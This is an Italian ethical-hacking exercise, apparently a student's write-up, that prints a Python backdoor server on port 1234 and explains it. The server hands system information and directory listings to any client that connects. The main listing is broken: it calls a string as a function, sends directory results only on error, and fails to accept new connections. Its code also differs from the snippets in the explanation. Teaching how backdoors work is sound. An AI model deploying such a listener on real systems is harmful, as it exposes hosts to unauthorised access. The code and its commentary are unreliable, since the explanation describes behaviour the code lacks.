L'esercizio di oggi consiste nel commentare/spiegare questo codice che fa riferimento ad una backdoor. Cyber Security & Ethical Hacking Esercizio: backdoor Inoltre spiegare cos'è una backdoor.

Eserciziobackdoor.py > ...

```python
import socket,platform,os

SRV_ADDR =""
SRV_PORT = 1234
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((SRV_ADDR,SRV_PORT))
s.listen(1)
connection,address = s.accept()

print("Client connected: ",address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue
    command = data.decode('utf-8').replace("\n","")
    if(command('utf-8')=="1"):
        tosend = platform.platform() + "" + platform.machine()
        connection.sendall(tosend.encode())
    elif(command("utf-8")=="2"):
        data=connection.recv(1024)
        try:
            filelist = os.listdir(command("utf-8"))
            tosend = ""
            for x in filelist:
                tosend += ","+ x
        except:
            tosend = "Wrong path"
            connection.sendall(tosend.encode())
    elif(command("utf-8")=="0"):
        connection.close()
    connection, address,s.accept()

```

Come dice il nome, una "backdoor" è una porta sul retro, quindi una scorciatoia, che permetta di connettersi ad un server tramite i socket.

Questo codice, in particolare, crea un server che ascolta su una porta specifica e accetta connessioni dai client. Una volta connesso, il server può rispondere a diversi comandi:

- "1" per inviare informazioni sul sistema
- "2" per inviare un elenco dei file in una directory
- "0" per chiudere la connessione e accettare una nuova

Per prima cosa vengono importati i moduli

1. **Socket** per la comunicazione di rete
2. **Platform** per ottenere informazioni sul sistema operativo
3. **Os** per interagire con il file system

```
import socket,platform,os
```

In queste righe di codice si configura il server e viene creato il socket

```
SRV_ADDR =""
SRV_PORT = 1234
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((SRV_ADDR,SRV_PORT))
s.listen(1)
connection,address = s.accept()
```

- •**SRV_ADDR** e **SRV_PORT** specificano l'indirizzo IP e la porta su cui il server ascolta le connessioni
- •**s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)** crea un socket
- •**s.bind((SRV_ADDR, SRV_PORT))** associa il socket all'indirizzo e alla porta specificati
- •**s.listen(1)** mette il socket in modalità di ascolto
- •**connection, address = s.accept()** accetta una connessione in entrata

Dopodiché si arriva al primo comando

```
if(data.decode('utf-8')=="1"):
    tosend = platform.platform() + "" + platform.machine()
    connection.sendall(tosend.encode())
```

- Se il comando ricevuto è "1", raccoglie informazioni sul sistema operativo e l'architettura della macchina
- **tosend = platform.platform() + " " + platform.machine()** costruisce la stringa da inviare
- **connection.sendall(tosend.encode())** invia la stringa al client

Il secondo comando serve, come abbiamo detto prima, per avere l'elenco dei file da una directory

```
elif(data.decode("utf-8")=="2"):
    data=connection.recv(1024)
    try:
        filelist = os.listdir(data.decode("utf-8"))
        tosend = ""
        for x in filelist:
            tosend += ","+ x
    except:
        tosend = "Wrong path"
        connection.sendall(tosend.encode())
```

- Se il comando ricevuto è "2", vuole ottenere l'elenco dei file della directory
- **data=connection.recv(1024)** riceve un pacchetto di dati dal client (fino a 1024 byte)
- **filelist = os.listdir(data.decode("utf-8"))** ottiene l'elenco dei file nella directory
- **tosend= ""** viene svuotata
- **for x in filelist: tosend += "," + x** viene costruita una stinga contentente l'elenco dei file divisi dalla ","
- Se, infine, ci dovesse essere un errore come una directory inesistente, uscirà la scritta "Wrong path"

Il Terzo e ultimo comando serve per chiudere la connessione con il server

```
elif(data.decode("utf-8")=="0"):
    connection.close()
connection, address,s.accept()
```

- Se il comando ricevuto è "0", chiude la connessione corrente
- **connection,address,s.accept()**Accetta una nuova connessione